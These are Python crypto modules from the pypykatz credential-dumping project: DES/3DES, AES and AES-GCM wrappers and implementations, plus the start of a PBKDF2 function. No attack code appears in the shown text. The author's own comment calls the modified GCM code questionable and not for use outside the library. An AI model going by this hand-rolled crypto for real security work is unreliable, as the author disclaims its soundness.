766 | for key in (self.__key1, self.__key2, self.__key3): | |
767 | key.setIV(IV) | |
768 | ||
769 | def encrypt(self, data, pad=None, padmode=None): | |
770 | """encrypt(data, [pad], [padmode]) -> bytes | |
771 | ||
772 | data : bytes to be encrypted | |
773 | pad : Optional argument for encryption padding. Must only be one byte | |
774 | padmode : Optional argument for overriding the padding mode. | |
775 | ||
776 | The data must be a multiple of 8 bytes and will be encrypted | |
777 | with the already specified key. Data does not have to be a | |
778 | multiple of 8 bytes if the padding character is supplied, or | |
779 | the padmode is set to PAD_PKCS5, as bytes will then added to | |
780 | ensure the be padded data is a multiple of 8 bytes. | |
781 | """ | |
782 | ENCRYPT = des.ENCRYPT | |
783 | DECRYPT = des.DECRYPT | |
784 | data = self._guardAgainstUnicode(data) | |
785 | if pad is not None: | |
786 | pad = self._guardAgainstUnicode(pad) | |
787 | # Pad the data accordingly. | |
788 | data = self._padData(data, pad, padmode) | |
789 | if self.getMode() == CBC: | |
790 | self.__key1.setIV(self.getIV()) | |
791 | self.__key2.setIV(self.getIV()) | |
792 | self.__key3.setIV(self.getIV()) | |
793 | i = 0 | |
794 | result = [] | |
795 | while i < len(data): | |
796 | block = self.__key1.crypt(data[i:i+8], ENCRYPT) | |
797 | block = self.__key2.crypt(block, DECRYPT) | |
798 | block = self.__key3.crypt(block, ENCRYPT) | |
799 | self.__key1.setIV(block) | |
800 | self.__key2.setIV(block) | |
801 | self.__key3.setIV(block) | |
802 | result.append(block) | |
803 | i += 8 | |
804 | if _pythonMajorVersion < 3: | |
805 | return ''.join(result) | |
806 | else: | |
807 | return bytes.fromhex('').join(result) | |
808 | else: | |
809 | data = self.__key1.crypt(data, ENCRYPT) | |
810 | data = self.__key2.crypt(data, DECRYPT) | |
811 | return self.__key3.crypt(data, ENCRYPT) | |
812 | ||
813 | def decrypt(self, data, pad=None, padmode=None): | |
814 | """decrypt(data, [pad], [padmode]) -> bytes | |
815 | ||
816 | data : bytes to be encrypted | |
817 | pad : Optional argument for decryption padding. Must only be one byte | |
818 | padmode : Optional argument for overriding the padding mode. | |
819 | ||
820 | The data must be a multiple of 8 bytes and will be decrypted | |
821 | with the already specified key. In PAD_NORMAL mode, if the | |
822 | optional padding character is supplied, then the un-encrypted | |
823 | data will have the padding characters removed from the end of | |
824 | the bytes. This pad removal only occurs on the last 8 bytes of | |
825 | the data (last data block). In PAD_PKCS5 mode, the special | |
826 | padding end markers will be removed from the data after | |
827 | decrypting, no pad character is required for PAD_PKCS5. | |
828 | """ | |
829 | ENCRYPT = des.ENCRYPT | |
830 | DECRYPT = des.DECRYPT | |
831 | data = self._guardAgainstUnicode(data) | |
832 | if pad is not None: | |
833 | pad = self._guardAgainstUnicode(pad) | |
834 | if self.getMode() == CBC: | |
835 | self.__key1.setIV(self.getIV()) | |
836 | self.__key2.setIV(self.getIV()) | |
837 | self.__key3.setIV(self.getIV()) | |
838 | i = 0 | |
839 | result = [] | |
840 | while i < len(data): | |
841 | iv = data[i:i+8] | |
842 | block = self.__key3.crypt(iv, DECRYPT) | |
843 | block = self.__key2.crypt(block, ENCRYPT) | |
844 | block = self.__key1.crypt(block, DECRYPT) | |
845 | self.__key1.setIV(iv) | |
846 | self.__key2.setIV(iv) | |
847 | self.__key3.setIV(iv) | |
848 | result.append(block) | |
849 | i += 8 | |
850 | if _pythonMajorVersion < 3: | |
851 | data = ''.join(result) | |
852 | else: | |
853 | data = bytes.fromhex('').join(result) | |
854 | else: | |
855 | data = self.__key3.crypt(data, DECRYPT) | |
856 | data = self.__key2.crypt(data, ENCRYPT) | |
857 | data = self.__key1.crypt(data, DECRYPT) | |
858 | return self._unpadData(data, pad, padmode) | |
859 | ||
860 | # from impacket | |
861 | def expand_DES_key(key): | |
862 | # Expand the key from a 7-byte password key into a 8-byte DES key | |
863 | key = key[:7] | |
864 | key += b'\x00'*(7-len(key)) | |
865 | s = (((key[0] >> 1) & 0x7f) << 1).to_bytes(1, byteorder = 'big') | |
866 | s += (((key[0] & 0x01) << 6 | ((key[1] >> 2) & 0x3f)) << 1).to_bytes(1, byteorder = 'big') | |
867 | s += (((key[1] & 0x03) << 5 | ((key[2] >> 3) & 0x1f)) << 1).to_bytes(1, byteorder = 'big') | |
868 | s += (((key[2] & 0x07) << 4 | ((key[3] >> 4) & 0x0f)) << 1).to_bytes(1, byteorder = 'big') | |
869 | s += (((key[3] & 0x0f) << 3 | ((key[4] >> 5) & 0x07)) << 1).to_bytes(1, byteorder = 'big') | |
870 | s += (((key[4] & 0x1f) << 2 | ((key[5] >> 6) & 0x03)) << 1).to_bytes(1, byteorder = 'big') | |
871 | s += (((key[5] & 0x3f) << 1 | ((key[6] >> 7) & 0x01)) << 1).to_bytes(1, byteorder = 'big') | |
872 | s += ( (key[6] & 0x7f) << 1).to_bytes(1, byteorder = 'big') | |
873 | return s |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from pypykatz.crypto.aes import AESModeOfOperationCBC, AESModeOfOperationECB | |
7 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE | |
8 | ||
9 | ||
10 | class AES: | |
11 | def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None): | |
12 | self.key = key | |
13 | self.mode = mode | |
14 | self.iv = iv | |
15 | self.block_size = 16 | |
16 | self.ctx = None | |
17 | self.setup() | |
18 | ||
19 | def setup(self): | |
20 | if self.mode == SYMMETRIC_MODE.ECB: | |
21 | self.ctx = AESModeOfOperationECB(self.key) | |
22 | elif self.mode == SYMMETRIC_MODE.CBC: | |
23 | self.ctx = AESModeOfOperationCBC(self.key, iv = self.iv) | |
24 | else: | |
25 | raise Exception('Unknown mode!') | |
26 | ||
27 | def encrypt(self, data): | |
28 | if len(data) % self.block_size != 0: | |
29 | raise Exception('Data size not matching blocksize!') | |
30 | res = b'' | |
31 | for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]: #terrible, terrible workaround | |
32 | res += self.ctx.encrypt(block) | |
33 | return res | |
34 | ||
35 | def decrypt(self, data): | |
36 | if len(data) % self.block_size != 0: | |
37 | raise Exception('Data size not matching blocksize!') | |
38 | res = b'' | |
39 | for block in [data[i:i+self.block_size] for i in range(0, len(data), self.block_size)]: #terrible, terrible workaround | |
40 | res += self.ctx.decrypt(block) | |
41 | return res⏎ |
0 | #!/usr/bin/env python | |
1 | ||
2 | """ | |
3 | Copyright (C) 2013 Bo Zhu http://about.bozhu.me | |
4 | ||
5 | Permission is hereby granted, free of charge, to any person obtaining a | |
6 | copy of this software and associated documentation files (the "Software"), | |
7 | to deal in the Software without restriction, including without limitation | |
8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
9 | and/or sell copies of the Software, and to permit persons to whom the | |
10 | Software is furnished to do so, subject to the following conditions: | |
11 | ||
12 | The above copyright notice and this permission notice shall be included in | |
13 | all copies or substantial portions of the Software. | |
14 | ||
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
21 | DEALINGS IN THE SOFTWARE. | |
22 | ||
23 | SkelSec Note: the original code has been modified to work using questionable crypto libraries by myself who is not a cryptographer. | |
24 | I'd say "use it with suspicion" but in truth: just do not use this at all outside of this library. | |
25 | """ | |
26 | ||
27 | from pypykatz.crypto.aes import AESModeOfOperationCTR, AESModeOfOperationECB, Counter | |
28 | from pypykatz.crypto.aes.blockfeeder import Decrypter, Encrypter, PADDING_NONE | |
29 | ||
30 | ||
31 | # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128 | |
32 | # Please note the MSB is x0 and LSB is x127 | |
33 | def gf_2_128_mul(x, y): | |
34 | assert x < (1 << 128) | |
35 | assert y < (1 << 128) | |
36 | res = 0 | |
37 | for i in range(127, -1, -1): | |
38 | res ^= x * ((y >> i) & 1) # branchless | |
39 | x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000) | |
40 | assert res < 1 << 128 | |
41 | return res | |
42 | ||
43 | ||
44 | class InvalidInputException(Exception): | |
45 | def __init__(self, msg): | |
46 | self.msg = msg | |
47 | ||
48 | def __str__(self): | |
49 | return str(self.msg) | |
50 | ||
51 | ||
52 | class InvalidTagException(Exception): | |
53 | def __str__(self): | |
54 | return 'The authenticaiton tag is invalid.' | |
55 | ||
56 | ||
57 | # Galois/Counter Mode with AES-128 and 96-bit IV | |
58 | class AES_GCM: | |
59 | def __init__(self, master_key): | |
60 | self.change_key(master_key) | |
61 | ||
62 | def change_key(self, master_key): | |
63 | #if len(master_key) != 16: | |
64 | # raise InvalidInputException('Master key should be 128-bit') | |
65 | ||
66 | self.__master_key = master_key | |
67 | self.__aes_ecb = AESModeOfOperationECB(self.__master_key) | |
68 | self.__auth_key = int.from_bytes(self.__aes_ecb.encrypt(b'\x00' * 16), byteorder='big', signed=False) | |
69 | ||
70 | # precompute the table for multiplication in finite field | |
71 | table = [] # for 8-bit | |
72 | for i in range(16): | |
73 | row = [] | |
74 | for j in range(256): | |
75 | row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) | |
76 | table.append(tuple(row)) | |
77 | self.__pre_table = tuple(table) | |
78 | ||
79 | self.prev_init_value = None # reset | |
80 | ||
81 | def __times_auth_key(self, val): | |
82 | res = 0 | |
83 | for i in range(16): | |
84 | res ^= self.__pre_table[i][val & 0xFF] | |
85 | val >>= 8 | |
86 | return res | |
87 | ||
88 | def __ghash(self, aad, txt): | |
89 | len_aad = len(aad) | |
90 | len_txt = len(txt) | |
91 | ||
92 | # padding | |
93 | if 0 == len_aad % 16: | |
94 | data = aad | |
95 | else: | |
96 | data = aad + b'\x00' * (16 - len_aad % 16) | |
97 | if 0 == len_txt % 16: | |
98 | data += txt | |
99 | else: | |
100 | data += txt + b'\x00' * (16 - len_txt % 16) | |
101 | ||
102 | tag = 0 | |
103 | assert len(data) % 16 == 0 | |
104 | for i in range(len(data) // 16): | |
105 | tag ^= int.from_bytes(data[i * 16: (i + 1) * 16], byteorder='big', signed=False) | |
106 | tag = self.__times_auth_key(tag) | |
107 | # print 'X\t', hex(tag) | |
108 | tag ^= ((8 * len_aad) << 64) | (8 * len_txt) | |
109 | tag = self.__times_auth_key(tag) | |
110 | ||
111 | return tag | |
112 | ||
113 | def encrypt(self, init_value, plaintext, auth_data=b''): | |
114 | if len(init_value) != 12: | |
115 | raise InvalidInputException('IV should be 96-bit') | |
116 | # a naive checking for IV reuse | |
117 | if init_value == self.prev_init_value: | |
118 | raise InvalidInputException('IV must not be reused!') | |
119 | self.prev_init_value = init_value | |
120 | ||
121 | len_plaintext = len(plaintext) | |
122 | ||
123 | if len_plaintext > 0: | |
124 | ctrval_init = init_value + b'\x00'*4 | |
125 | ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False) | |
126 | counter = Counter(initial_value=ctrval+2) #+2 ???? | |
127 | aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter) | |
128 | ||
129 | if 0 != len_plaintext % 16: | |
130 | padded_plaintext = plaintext + \ | |
131 | b'\x00' * (16 - len_plaintext % 16) | |
132 | else: | |
133 | padded_plaintext = plaintext | |
134 | ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext] | |
135 | ||
136 | else: | |
137 | ciphertext = b'' | |
138 | ||
139 | auth_tag = self.__ghash(auth_data, ciphertext) | |
140 | iv_int = int.from_bytes(init_value, byteorder='big', signed=False) | |
141 | iv_int = (iv_int << 32) | 1 | |
142 | iv_int = iv_int.to_bytes(16, byteorder='big', signed=False) | |
143 | iv_int_enc = self.__aes_ecb.encrypt(iv_int) | |
144 | iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False) | |
145 | ||
146 | auth_tag ^= iv_int_enc | |
147 | ||
148 | assert auth_tag < (1 << 128) | |
149 | return ciphertext, auth_tag.to_bytes(16, byteorder='big', signed=False) | |
150 | ||
151 | def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''): | |
152 | if len(init_value) != 12: | |
153 | raise InvalidInputException('IV should be 96-bit') | |
154 | if len(auth_tag) != 16: | |
155 | raise InvalidInputException('Tag should be 128-bit') | |
156 | ||
157 | iv_int = int.from_bytes(init_value, byteorder='big', signed=False) | |
158 | iv_int = (iv_int << 32) | 1 | |
159 | iv_int = iv_int.to_bytes(16, byteorder='big', signed=False) | |
160 | iv_int_enc = self.__aes_ecb.encrypt(iv_int) | |
161 | iv_int_enc = int.from_bytes(iv_int_enc, byteorder='big', signed=False) | |
162 | auth_tag_verify = self.__ghash(auth_data, ciphertext) ^ iv_int_enc | |
163 | auth_tag_verify = auth_tag_verify.to_bytes(16, byteorder='big', signed=False) | |
164 | if auth_tag != auth_tag_verify: | |
165 | raise InvalidTagException | |
166 | ||
167 | len_ciphertext = len(ciphertext) | |
168 | if len_ciphertext > 0: | |
169 | ctrval_init = init_value + b'\x00'*4 | |
170 | ctrval = int.from_bytes(ctrval_init, byteorder='big', signed=False) | |
171 | counter = Counter(initial_value=ctrval+2) #+2 ???? | |
172 | aes_ctr = AESModeOfOperationCTR(self.__master_key, counter=counter) | |
173 | ||
174 | if 0 != len_ciphertext % 16: | |
175 | padded_ciphertext = ciphertext + \ | |
176 | b'\x00' * (16 - len_ciphertext % 16) | |
177 | else: | |
178 | padded_ciphertext = ciphertext | |
179 | plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext] | |
180 | ||
181 | else: | |
182 | plaintext = b'' | |
183 | ||
184 | return plaintext | |
185 | ||
186 | ||
187 | if __name__ == '__main__': | |
188 | master_key = bytes.fromhex('feffe9928665731c6d6a8f9467308308') | |
189 | plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \ | |
190 | b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \ | |
191 | b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \ | |
192 | b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \ | |
193 | b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \ | |
194 | b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \ | |
195 | b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \ | |
196 | b'\xba\x63\x7b\x39' | |
197 | auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
198 | b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
199 | b'\xab\xad\xda\xd2' | |
200 | init_value = bytes.fromhex('cafebabefacedbaddecaf888') | |
201 | ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \ | |
202 | b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \ | |
203 | b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \ | |
204 | b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \ | |
205 | b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \ | |
206 | b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \ | |
207 | b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \ | |
208 | b'\x3d\x58\xe0\x91' | |
209 | auth_tag = bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47') | |
210 | ||
211 | print('plaintext:', plaintext.hex()) | |
212 | ||
213 | my_gcm = AES_GCM(master_key) | |
214 | encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data) | |
215 | print('encrypted:', encrypted.hex()) | |
216 | print('auth tag: ', new_tag.hex()) | |
217 | ||
218 | assert encrypted == bytes.fromhex('42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091') | |
219 | assert new_tag == bytes.fromhex('5bc94fbc3221a5db94fae95ae7121a47') | |
220 | ||
221 | decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data) | |
222 | print('decrypted:', decrypted.hex()) | |
223 | ||
224 | ||
225 | #new_tag = int.from_bytes(new_tag, byteorder='big', signed=False) | |
226 | #try: | |
227 | # decrypted = my_gcm.decrypt(init_value, encrypted, new_tag + 1, auth_data) | |
228 | #except InvalidTagException: | |
229 | ||
230 |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import enum | |
7 | ||
8 | class SYMMETRIC_MODE(enum.Enum): | |
9 | ECB = 0 | |
10 | CBC = 1⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from pypykatz.crypto.des import des, ECB, CBC, expand_DES_key | |
7 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE | |
8 | ||
9 | ||
10 | class DES: | |
11 | def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None): | |
12 | self.key = key | |
13 | self.mode = mode | |
14 | self.iv = iv | |
15 | self.block_size = 8 | |
16 | self.ctx = None | |
17 | self.setup() | |
18 | ||
19 | def setup(self): | |
20 | if len(self.key) == 7: | |
21 | self.key = expand_DES_key(self.key) | |
22 | ||
23 | if self.mode == SYMMETRIC_MODE.ECB: | |
24 | self.ctx = des(self.key, mode = ECB) | |
25 | elif self.mode == SYMMETRIC_MODE.CBC: | |
26 | self.ctx = des(self.key, mode = CBC, IV = self.iv) | |
27 | else: | |
28 | raise Exception('Unknown mode!') | |
29 | ||
30 | def encrypt(self, data): | |
31 | return self.ctx.encrypt(data) | |
32 | ||
33 | def decrypt(self, data): | |
34 | return self.ctx.decrypt(data)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | from pypykatz.crypto.des import triple_des, ECB, CBC | |
7 | from pypykatz.crypto.unified.common import SYMMETRIC_MODE | |
8 | ||
9 | ||
10 | class DES3: | |
11 | def __init__(self, key, mode = SYMMETRIC_MODE.ECB, iv = None): | |
12 | self.key = key | |
13 | self.mode = mode | |
14 | self.iv = iv | |
15 | self.block_size = 8 | |
16 | self.ctx = None | |
17 | self.setup() | |
18 | ||
19 | def setup(self): | |
20 | if self.mode == SYMMETRIC_MODE.ECB: | |
21 | self.ctx = triple_des(self.key, mode = ECB) | |
22 | elif self.mode == SYMMETRIC_MODE.CBC: | |
23 | self.ctx = triple_des(self.key, mode = CBC, IV = self.iv) | |
24 | else: | |
25 | raise Exception('Unknown mode!') | |
26 | ||
27 | def encrypt(self, data): | |
28 | return self.ctx.encrypt(data) | |
29 | ||
30 | def decrypt(self, data): | |
31 | return self.ctx.decrypt(data)⏎ |
0 | #!/usr/bin/env python | |
1 | ||
2 | """ | |
3 | Copyright (C) 2013 Bo Zhu http://about.bozhu.me | |
4 | ||
5 | Permission is hereby granted, free of charge, to any person obtaining a | |
6 | copy of this software and associated documentation files (the "Software"), | |
7 | to deal in the Software without restriction, including without limitation | |
8 | the rights to use, copy, modify, merge, publish, distribute, sublicense, | |
9 | and/or sell copies of the Software, and to permit persons to whom the | |
10 | Software is furnished to do so, subject to the following conditions: | |
11 | ||
12 | The above copyright notice and this permission notice shall be included in | |
13 | all copies or substantial portions of the Software. | |
14 | ||
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR | |
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, | |
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL | |
18 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER | |
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING | |
20 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER | |
21 | DEALINGS IN THE SOFTWARE. | |
22 | """ | |
23 | ||
24 | from Crypto.Cipher import AES | |
25 | from Crypto.Util import Counter | |
26 | from Crypto.Util.number import long_to_bytes, bytes_to_long | |
27 | ||
28 | ||
29 | # GF(2^128) defined by 1 + a + a^2 + a^7 + a^128 | |
30 | # Please note the MSB is x0 and LSB is x127 | |
31 | def gf_2_128_mul(x, y): | |
32 | assert x < (1 << 128) | |
33 | assert y < (1 << 128) | |
34 | res = 0 | |
35 | for i in range(127, -1, -1): | |
36 | res ^= x * ((y >> i) & 1) # branchless | |
37 | x = (x >> 1) ^ ((x & 1) * 0xE1000000000000000000000000000000) | |
38 | assert res < 1 << 128 | |
39 | return res | |
40 | ||
41 | ||
42 | class InvalidInputException(Exception): | |
43 | def __init__(self, msg): | |
44 | self.msg = msg | |
45 | ||
46 | def __str__(self): | |
47 | return str(self.msg) | |
48 | ||
49 | ||
50 | class InvalidTagException(Exception): | |
51 | def __str__(self): | |
52 | return 'The authenticaiton tag is invalid.' | |
53 | ||
54 | ||
55 | # Galois/Counter Mode with AES-128 and 96-bit IV | |
56 | class AES_GCM: | |
57 | def __init__(self, master_key): | |
58 | self.change_key(master_key) | |
59 | ||
60 | def change_key(self, master_key): | |
61 | if master_key >= (1 << 128): | |
62 | raise InvalidInputException('Master key should be 128-bit') | |
63 | ||
64 | self.__master_key = long_to_bytes(master_key, 16) | |
65 | self.__aes_ecb = AES.new(self.__master_key, AES.MODE_ECB) | |
66 | self.__auth_key = bytes_to_long(self.__aes_ecb.encrypt(b'\x00' * 16)) | |
67 | ||
68 | # precompute the table for multiplication in finite field | |
69 | table = [] # for 8-bit | |
70 | for i in range(16): | |
71 | row = [] | |
72 | for j in range(256): | |
73 | row.append(gf_2_128_mul(self.__auth_key, j << (8 * i))) | |
74 | table.append(tuple(row)) | |
75 | self.__pre_table = tuple(table) | |
76 | ||
77 | self.prev_init_value = None # reset | |
78 | ||
79 | def __times_auth_key(self, val): | |
80 | res = 0 | |
81 | for i in range(16): | |
82 | res ^= self.__pre_table[i][val & 0xFF] | |
83 | val >>= 8 | |
84 | return res | |
85 | ||
86 | def __ghash(self, aad, txt): | |
87 | len_aad = len(aad) | |
88 | len_txt = len(txt) | |
89 | ||
90 | # padding | |
91 | if 0 == len_aad % 16: | |
92 | data = aad | |
93 | else: | |
94 | data = aad + b'\x00' * (16 - len_aad % 16) | |
95 | if 0 == len_txt % 16: | |
96 | data += txt | |
97 | else: | |
98 | data += txt + b'\x00' * (16 - len_txt % 16) | |
99 | ||
100 | tag = 0 | |
101 | assert len(data) % 16 == 0 | |
102 | for i in range(len(data) // 16): | |
103 | tag ^= bytes_to_long(data[i * 16: (i + 1) * 16]) | |
104 | tag = self.__times_auth_key(tag) | |
105 | # print 'X\t', hex(tag) | |
106 | tag ^= ((8 * len_aad) << 64) | (8 * len_txt) | |
107 | tag = self.__times_auth_key(tag) | |
108 | ||
109 | return tag | |
110 | ||
111 | def encrypt(self, init_value, plaintext, auth_data=b''): | |
112 | if init_value >= (1 << 96): | |
113 | raise InvalidInputException('IV should be 96-bit') | |
114 | # a naive checking for IV reuse | |
115 | if init_value == self.prev_init_value: | |
116 | raise InvalidInputException('IV must not be reused!') | |
117 | self.prev_init_value = init_value | |
118 | ||
119 | len_plaintext = len(plaintext) | |
120 | # len_auth_data = len(auth_data) | |
121 | ||
122 | if len_plaintext > 0: | |
123 | counter = Counter.new( | |
124 | nbits=32, | |
125 | prefix=long_to_bytes(init_value, 12), | |
126 | initial_value=2, # notice this | |
127 | allow_wraparound=False) | |
128 | aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter) | |
129 | ||
130 | if 0 != len_plaintext % 16: | |
131 | padded_plaintext = plaintext + \ | |
132 | b'\x00' * (16 - len_plaintext % 16) | |
133 | else: | |
134 | padded_plaintext = plaintext | |
135 | ciphertext = aes_ctr.encrypt(padded_plaintext)[:len_plaintext] | |
136 | ||
137 | else: | |
138 | ciphertext = b'' | |
139 | ||
140 | auth_tag = self.__ghash(auth_data, ciphertext) | |
141 | print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex()) | |
142 | # print 'GHASH\t', hex(auth_tag) | |
143 | auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt( | |
144 | long_to_bytes((init_value << 32) | 1, 16))) | |
145 | ||
146 | # assert len(ciphertext) == len(plaintext) | |
147 | assert auth_tag < (1 << 128) | |
148 | return ciphertext, auth_tag | |
149 | ||
150 | def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''): | |
151 | if init_value >= (1 << 96): | |
152 | raise InvalidInputException('IV should be 96-bit') | |
153 | if auth_tag >= (1 << 128): | |
154 | raise InvalidInputException('Tag should be 128-bit') | |
155 | ||
156 | print(long_to_bytes((init_value << 32) | 1, 16)) | |
157 | print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16))) | |
158 | print('ghash %s' % self.__ghash(auth_data, ciphertext)) | |
159 | print('') | |
160 | if auth_tag != self.__ghash(auth_data, ciphertext) ^ \ | |
161 | bytes_to_long(self.__aes_ecb.encrypt( | |
162 | long_to_bytes((init_value << 32) | 1, 16))): | |
163 | raise InvalidTagException | |
164 | ||
165 | len_ciphertext = len(ciphertext) | |
166 | if len_ciphertext > 0: | |
167 | counter = Counter.new( | |
168 | nbits=32, | |
169 | prefix=long_to_bytes(init_value, 12), | |
170 | initial_value=2, | |
171 | allow_wraparound=True) | |
172 | aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter) | |
173 | ||
174 | if 0 != len_ciphertext % 16: | |
175 | padded_ciphertext = ciphertext + \ | |
176 | b'\x00' * (16 - len_ciphertext % 16) | |
177 | else: | |
178 | padded_ciphertext = ciphertext | |
179 | plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext] | |
180 | ||
181 | else: | |
182 | plaintext = b'' | |
183 | ||
184 | return plaintext | |
185 | ||
186 | ||
187 | if __name__ == '__main__': | |
188 | master_key = 0xfeffe9928665731c6d6a8f9467308308 | |
189 | plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \ | |
190 | b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \ | |
191 | b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \ | |
192 | b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \ | |
193 | b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \ | |
194 | b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \ | |
195 | b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \ | |
196 | b'\xba\x63\x7b\x39' | |
197 | auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
198 | b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \ | |
199 | b'\xab\xad\xda\xd2' | |
200 | init_value = 0xcafebabefacedbaddecaf888 | |
201 | ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \ | |
202 | b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \ | |
203 | b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \ | |
204 | b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \ | |
205 | b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \ | |
206 | b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \ | |
207 | b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \ | |
208 | b'\x3d\x58\xe0\x91' | |
209 | auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47 | |
210 | ||
211 | print('plaintext:', hex(bytes_to_long(plaintext))) | |
212 | ||
213 | my_gcm = AES_GCM(master_key) | |
214 | encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data) | |
215 | print('encrypted:', hex(bytes_to_long(encrypted))) | |
216 | print('auth tag: ', hex(new_tag)) | |
217 | ||
218 | try: | |
219 | decrypted = my_gcm.decrypt(init_value, encrypted, | |
220 | new_tag + 1, auth_data) | |
221 | except InvalidTagException: | |
222 | decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data) | |
223 | print('decrypted:', hex(bytes_to_long(decrypted))) | |
224 |
0 | ||
1 | #https://codereview.stackexchange.com/questions/87538/python-pbkdf2-using-core-modules | |
2 | import hmac | |
3 | import struct | |
4 | import hashlib | |
5 | ||
6 | def pbkdf2(password, salt, iters, keylen, digestmod = hashlib.sha1): | |
7 | """Run the PBKDF2 (Password-Based Key Derivation Function 2) algorithm | |
8 | and return the derived key. The arguments are: | |
9 | ||
10 | password (bytes or bytearray) -- the input password | |
11 | salt (bytes or bytearray) -- a cryptographic salt | |
12 | iters (int) -- number of iterations | |
13 | keylen (int) -- length of key to derive | |
14 | digestmod -- a cryptographic hash function: either a module | |
15 | supporting PEP 247, a hashlib constructor, or (in Python 3.4 | |
16 | or later) the name of a hash function. | |
17 | ||
18 | For example: | |
19 | ||
20 | >>> import hashlib | |
21 | >>> from binascii import hexlify, unhexlify | |
22 | >>> password = b'Squeamish Ossifrage' | |
23 | >>> salt = unhexlify(b'1234567878563412') | |
24 | >>> hexlify(pbkdf2(password, salt, 500, 16, hashlib.sha1)) | |
